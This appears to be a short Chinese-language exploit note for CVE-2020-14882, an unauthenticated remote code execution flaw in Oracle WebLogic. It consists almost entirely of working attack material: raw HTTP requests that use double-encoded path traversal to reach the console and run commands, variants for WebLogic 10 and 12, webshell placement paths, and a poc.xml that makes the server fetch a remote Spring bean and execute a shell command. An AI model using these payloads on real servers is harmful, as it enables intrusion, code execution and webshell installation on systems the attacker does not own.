# CVE-2020–14882 Weblogic 未经授权绕过RCE


ShellSession


```
coherence-rest.jar#com.tangosol.coherence.mvel2.sh.ShellSession

```

Payload：


```
POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime('calc.exe');");
```

Getshell


```
ROOT_PATH= C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\

Shell_path= ../../../wlserver/server/lib/consoleapp/webapp/images/xxx.jsp
```

**weblogic 12**



```
GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); HTTP/1.1
Host: 192.168.3.189:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADM
Upgrade-Insecure-Requests: 1
```



**weblogic 10**



```
GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.8.142/poc.xml); HTTP/1.1
Host: 192.168.3.189:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADM
Upgrade-Insecure-Requests: 1
```



**poc.xml：**



```
<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     [url]http://www.springframework.org/schema/beans[/url] [url]http://www.springframework.org/schema/beans/spring-beans.xsd[/url]">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>sh</value>
                <value>-c</value>
                <value><![CDATA[touch /tmp/10poc1]]></value>
            </list>
            </constructor-arg>
        </bean>
    </beans>
```